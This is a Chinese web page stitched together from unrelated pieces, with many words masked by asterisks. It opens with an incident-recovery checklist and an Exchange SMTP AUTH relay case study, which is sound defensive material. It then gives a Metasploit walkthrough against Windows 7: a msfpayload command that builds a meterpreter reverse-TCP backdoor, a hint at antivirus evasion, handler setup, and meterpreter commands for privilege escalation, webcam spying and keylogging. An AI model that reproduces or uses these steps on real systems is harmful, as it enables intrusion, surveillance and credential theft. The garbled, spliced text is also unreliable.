1.隔离 *** 。关闭您 *** 的所有外部接口，包括Internet、WAN、VPN和拨号连接，断开路由器、无线接入点（AP）以及将您的 *** 与外界连接起来的任何其它设备的所有线路。这样做能立即停止当前正受到的攻击，并阻止入侵者危及其它系统的安全。

2.清理无线设备。使用无线嗅探器（如Airscanner Mobile Sniffer或NetStumbler.com的NetStumbler）在您的区域内查找任何恶意的AP。确保嗅探器安装在支持当前所有无线标准（也就是802.11a、802.11b和802.11g）的卡上。

3.查找其它被攻击了的机器。使用本文所述的技术来查找您是否有其它机器已遭受到黑客攻击。

4.复查防火墙配置。查找是否存在任何未授权的规则、未授权对外界打开的端口和未授权的 *** 地址转换（NAT）规则。检查防火墙日志中是否记录了可疑的活动。建议您始终将出站的通信限制在必要的出站端口，并确保只有经授权的计算机才能通过防火墙向外发送邮件。

5.检查AD。查找任何未授权的用户账号并禁用它们。

6.更改 *** 中所有账号的密码。对于有较高权限的账号，建议您设置至少15个字符的密码（或密码短语）。这样长度的密码很难破解，因为LAN管理器（LM）密码HASH不会在服务器上存储超过14个字符的密码。

7.更换被黑客攻击的计算机上的硬盘。更换硬盘可以隔离并保留黑客的攻击行为。您可以复查旧硬盘上的数据以获得有关攻击的有用信息。

8.找出被攻击的弱点。尽量找出黑客是如何访问 *** 的，但这通常是很难做到的（并且超出了本文的讨论范围）。如果您不能找到漏洞在哪里，请考虑雇用一位安全顾问来帮助您。

9.重装被攻击的机器。彻底清理一个被黑客攻击的计算机几乎是不可能的。如果机器上还残留着一种或多种黑客工具，入侵者将会重新获得访问该机器的能力。确保机器完全清理干净的唯一办法是格式化硬盘，并重装整个机器。这样确保不会保留了任何先前安装的黑客工具。您应该从CD-ROM重新安装所有程序，手工安装所有补丁，只恢复数据文件。绝对不要从磁带恢复注册表、操作系统或任何程序。

10.对所有机器进行全面的病毒扫描。要注意，防病毒程序有时会把黑客工具当作是合法程序。如果扫描结果显示机器是干净的，但您还是怀疑它已被攻击，建议您重装该机器。

11.重新连接WAN线路。重新连接WAN线路，并仔细监测，以确保您关闭了 *** 的所有漏洞。注意 *** 的带宽是否会被大量占用，密切监测防火墙日志，并在所有服务器上启用安全审核。

12.仔细调查被黑客攻击的硬盘。把被黑客攻击的机器的硬盘安装在一 *** 立的计算机上，检查它们以获得有关攻击的更多信息。虽然入侵者往往使用虚假的IP地址，IP地址仍然是追踪攻击来源的很好线索。您可以从Internet Assigned Numbers Authority（IANA)网站（ http://www.iana.org）获得IP地址分配的列表。

13.通知有关当局。如果您在美国，可以向FBI属下的Internet Fraud Complaint Center （IFCC- http://www.ifccfbi.gov/index.asp）报告可疑的Internet活动，并且大部分的 FBI各地区办事处都有Cyber Action Teams（CAT）。没有人愿意承认被黑客攻击，但是通知有关当局可以防止黑客进行更多的破坏。如果要联系您当地的FBI办事处，请访问 http://www.fbi.gov/contact/fo/fo.htm。

您可以使用上述步骤设计出一个定制的攻击恢复计划。请根据您机构的情况适当地修改这些步骤，并将它们整合到您公司的灾难恢复计划中。案例学习 在我的顾问实践中，曾经遇到过许多情形，都是一些机构的 *** 受到攻击。通过学习别人的经验可以帮助您发现您 *** 的弱点，并帮助您在受到类似攻击时进行恢复。那么，让我们看一下真实生活中的黑客攻击案例。

Exchange服务器的 *** TP AUTH攻击

第三个客户的Internet连接由于Internet通信量很大所以运行得很慢。而当我让所有用户与Internet断开后，通信量仍然很大。我查看了Exchange 2000 server上的外出队列，发现有100个以上的队列，每个队列中都有非常大量的消息。我用E *** 随机检查了几个队列，发现这些消息的发送人或接收人都不是来自本地域的，这意味着邮件服务器很可能被用作邮件中继了。在缺省情况下，如果消息发送人能够成功通过Exchange 2000（或之后的系统）的验证，那么该邮件服务器是允许进行中继的。

鉴别黑客攻击。黑客可以使用两种不同的 *** 来获得有效的用户名和密码。他们可以重复地猜测Guest账号或用户的密码，直到发现正确的密码；或者他们也可以发起黑客攻击，以获得有效的用户名和密码。垃圾邮件发送者只需要一个有效的用户名和密码就可以中继邮件，哪怕邮件服务器并没有开放中继。为了确定垃圾邮件发送者正在使用什么账号，我打开了E *** 并单击“组织”*“管理组”*“组织单元”*“服务器”，然后用右键单击服务器名，选择“属性”。然后我选择“诊断日志”标签。在“服务”窗口中，单击MSExchangeTransport。然后在“类别”窗口中，我将以下类别的日志的级别增加到更大：路由引擎、分类器、连接管理器、队列引擎、Exchange存储驱动程序、 *** TP协议和NTFS存储驱动程序。随后我检查了事件日志，查找来自外部邮件服务器或未知的邮件服务器的验证。失败的登录尝试将会显示在安全日志中，它的事件ID是680。我发现入侵者使用了非本地Exchange服务器账号的用户账号来对邮件服务器进行验证。

修复破坏。当我找出了验证账号之后，我采取了下列步骤来保护Exchange服务器。

1. 我更改了垃圾邮件发送者所使用的账号的密码。在类似的情况下，如果您认为垃圾邮件发送者可能有多个有效的用户ID和密码，那么更改您 *** 中所有用户的密码。我还禁用了Guest账号，并为启动服务器上的服务设置了专用的账号。不要使用管理员账号启动服务。如果一台机器被黑客攻击了，用来启动服务的账号可能也会不安全。

2. 我禁用了对外的Exchange服务器上的验证。为了禁用它，我打开E *** ，选择“组织”*“管理组”*“组织单元”*“服务器”*“”*“协议”*“ *** TP”，然后用右键单击缺省 *** TP虚拟服务器。我选择了“属性”，单击“访问”标签，然后单击“验证”。我保留了匿名访问的启用，但是清除了“基本验证”和“集成Windows验证”校验框。清除这些校验框从根本上对 *** TP服务器禁用了Auth命令。

3. 我在其它的内部Exchange服务器上启用了中继，以确保它们可以向对外的Exchange服务器发送邮件。我打开E *** ，用右键单击虚拟 *** TP服务器，然后选择“属性”。在“访问”标签中，单击“中继”，选择“只允许以下列表”，并填入允许向对外服务器中继邮件的内部邮件服务器。

4. 完成这些更改后，我彻底测试了一遍这些配置。我测试了发往Internet和从Internet发回邮件，以及发往机构内的所有邮件服务器和从这些服务器发出邮件。这些更改有可能会使服务器之间的邮件流通陷入混乱，因此您可能会希望等到周末才更改。另一个更好的办法是，在将这些更改应用到实际环境中之前，先在实验环境中进行测试。

5. 在这一事件中，我发现一台机器被严重地攻击了，因此我将它完全重装了一遍。在您可能遇到的情况中，您需要找出所有已被攻击的机器，然后将它们修复或者重装。 6. 我检查了ORDB以确定该客户的邮件服务器是否被列入了开放中继的黑名单。很幸运，我在客户的邮件服务器被列入黑名单之前就发现并修复了黑客的攻击。如果一台邮件服务器开放了中继，或者该邮件服务器被认为大量发送垃圾邮件，它可能会被列入黑名单。有许多开放中继的数据库，您可以从 http://dmoz.org/computers/internet/abuse/spam/blacklists查看到一系列这样的数据库。如果您的邮件服务器被列入黑名单，您可以发送请求来将服务器从黑名单删除，您也可以更改您邮件服务器的外部IP地址。如果您更改了邮件服务器的地址，您还必须更新邮件服务器的Mail Exchanger（MX）记录，否则发进来的邮件会被阻止。

经验教训。要修复对Exchange服务器的 *** TP AUTH攻击，并预防未来的攻击，强烈建议您使用我所采取的步骤。如果入侵者获得了有效的用户ID和密码来进行邮件中继，您的邮件服务器将被纳入许多邮件黑名单中。预防这些攻击所要花费的时间，比起排除邮件传递的故障、将服务器从黑名单删除，以及修补漏洞所要花费的时间要少得多。

不要惊慌；随时做好准备 攻击恢复计划是任何合理的IT结构的一个组成部分。它能够帮助您有效地对 *** 攻击作出反应，而不是惊慌失措。请熟悉恶意入侵者所使用的工具和 *** ，并提前采取措施来防止他们对您的 *** 进行攻击。,

看黑客怎么使用Metasploit进行渗透windows7的

很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣，针对这些以下业内相关专家就给大家介绍下，当下黑客怎么利用Metasploit进行渗透windows7的。设定目标主机为：cn_win7_x86_7601虚拟机，地址为：192.168.0.116；而本地主机就为：192.168.0.149。 *** 步骤一：黑客用Msfpayload直接生成相关的后门程序，如下图。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149xsteup.exe *** 步骤二：黑客直接就能进入所在的目录并将属性进行修改，换为允许以程序执行文件，详细如下图。进入所在目录，修改属性：选择“允许以程序执行文件”,这时候也可以做一些免杀 *** 步骤三：接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机，最后就能开始进行监听了，详细情况如下图。打开msfconsole，加载exploit/multi/handler模块，设置本地主机；然后开始监听：exploit-z-j： *** 步骤四：黑客需要能将程序直接拷贝都目标主机中并进行执行。 *** 步骤五：以上步骤全部完成后黑客就能通过后门程序反向连接到msf，用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf，详细的如下图。Meterpreter就是metasploit框架中的一个扩展模块，因此的话溢出成功后黑客就能攻击载荷进行使用，一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道，这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。另外，附meterpreter常用命令：getsystem#会自动利用各种各样的系统漏洞来进行权限提升migrate#进程id进程迁移background#把当前的会话设置为背景，需要的时候在启用getuid#查看对方正在运行的用户ps#列出所有的进程getpid#返回运行meterpreter的id号sysinfo#产看系统信息和体系结构shell#切换到cmd的系统权限方式exit#退出shell会话返回meterpreter或终止meterpretergetdesktop截取目标主机当前桌面会话窗口runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘

手机屏幕怎么设置黑客程序载？

你先要把这个黑客的程序载下载下来，然后才能设置到你的手机屏幕上去